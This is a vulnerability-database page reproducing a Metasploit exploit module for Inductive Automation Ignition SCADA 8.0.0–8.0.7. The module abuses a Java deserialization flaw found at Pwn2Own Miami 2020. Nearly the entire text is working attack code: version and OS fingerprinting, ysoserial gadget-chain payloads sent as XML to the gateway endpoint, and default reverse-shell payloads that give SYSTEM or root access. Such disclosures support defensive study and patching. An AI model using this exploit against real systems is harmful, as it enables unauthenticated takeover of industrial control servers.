Inductive Automation Ignition Remote Code Execution

2020.06.26
Credit: Pedro Ribeiro
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Inductive Automation Ignition Remote Code Execution', 'Description' => %q{ This module exploits a Java deserialization vulnerability in the Inductive Automation Ignition SCADA product, versions 8.0.0 to (and including) 8.0.7. This exploit was tested on versions 8.0.0 and 8.0.7 on both Linux and Windows. The default configuration is exploitable by an unauthenticated attacker, which can achieve remote code execution as SYSTEM on a Windows installation and root on Linux. The vulnerability was discovered and exploited at Pwn2Own Miami 2020 by the Flashback team (Pedro Ribeiro + Radek Domanski). }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/rce_me_v2/rce_me_v2.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Miami2020/rce_me_v2.md'], [ 'CVE', '2020-10644'], [ 'CVE', '2020-12004'], [ 'ZDI', '20-685'], [ 'ZDI', '20-686'], ], 'Privileged' => true, 'Platform' => %w[unix win], 'DefaultOptions' => { 'WfsDelay' => 15 }, 'Targets' => [ [ 'Automatic', {} ], [ 'Windows', 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, ], [ 'Linux', 'Platform' => 'unix', 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' }, ] ], 'DisclosureDate' => '2020-06-11', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(8088) ] ) end def version_get res = send_request_cgi({ 'uri' => '/system/gwinfo', 'method' => 'GET' }) if res && res.code == 302 # try again, versions < 8 use a different URL res = send_request_cgi({ 'uri' => '/main/system/gwinfo', 'method' => 'GET' }) end if res && res.code == 200 # Regexp to get the version of the server version = res.body.match(/;Version=([0-9\.]{3,});/) if version return version[1] end end return '' end def os_get res = send_request_cgi({ 'uri' => '/system/gwinfo', 'method' => 'GET' }) if res && res.code == 200 # Regexp to get the OS os = res.body.match(/OS=([a-zA-Z0-9\s]+);/) return os[1] end end def create_java_str(payload) ( "\xac\xed" + # STREAM_MAGIC "\x00\x05" + # STREAM_VERSION "\x74" + # String object [payload.length].pack('n') + # length payload ).force_encoding('ascii') # is this needed in msf? end def check version = Gem::Version.new(version_get) if version.segments.length < 3 fail_with(Failure::Unknown, 'Failed to obtain target version') end print_status("#{peer} - Detected version #{version}") if version >= Gem::Version.new('8.0.0') && version <= Gem::Version.new('8.0.7') return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def pick_target os = os_get if os.include?('Windows') return targets[1] elsif os.include?('Linux') return targets[2] else fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail out.") end end def exploit # Check if automatic target selection is set if target.name == 'Automatic' my_target = pick_target else my_target = target end print_status("#{peer} - Attacking #{my_target.name} target") # <version> is a CRC32 calculated by the server that we didn't want to reverse # However in com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost() # (line 383 of gateway-8.0.7.jar) # ... it will helpfully ignore the version if set to 0 data = '<?xml version="1.0" encoding="UTF-8"?><requestwrapper><version>0</version><scope>2</scope><message><messagetype>199</messagetype><messagebody>'\ '<arg name="funcId"><![CDATA[ProjectDownload]]></arg><arg name="subFunction"><![CDATA[getDiff]]></arg><arg name="arg" index="0">'\ '<![CDATA[' if my_target.name == 'Windows' cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true, encode_final_payload: true }) else cmd = payload.encoded end version = Gem::Version.new(version_get) if version print_status("#{peer} - Detected version #{version}") else print_error("#{peer} - Target has an unknown version, this might not work...") end # Version 8.0.0 doesn't work with CommonsBeanutils1, but CommonsCollections6 works! # # An alternative to this would be GET /system/launchmf/D which will helpfully return # a list of all the jars in the system, letting us pick the right gadget chain. # However only 8.0.0 differs, so let's just have a special case for that. if version == Gem::Version.new('8.0.0') lib = 'CommonsCollections6' else lib = 'CommonsBeanutils1' end payload = ::Msf::Util::JavaDeserialization.ysoserial_payload(lib, cmd) payload = Rex::Text.encode_base64(payload) payload = create_java_str(payload) payload = Rex::Text.encode_base64(payload) data += payload data += ']]></arg></messagebody></message><locale><l>en</l><c>GB</c><v></v></locale></requestwrapper>' print_status("#{peer} - Sending payload...") res = send_request_cgi({ 'uri' => '/system/gateway', 'method' => 'POST', 'data' => data }) if res&.body&.include?('Unable to load project diff.') print_good("#{peer} - Success, shell incoming!") else print_error("#{peer} - Something is not right, try again?") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top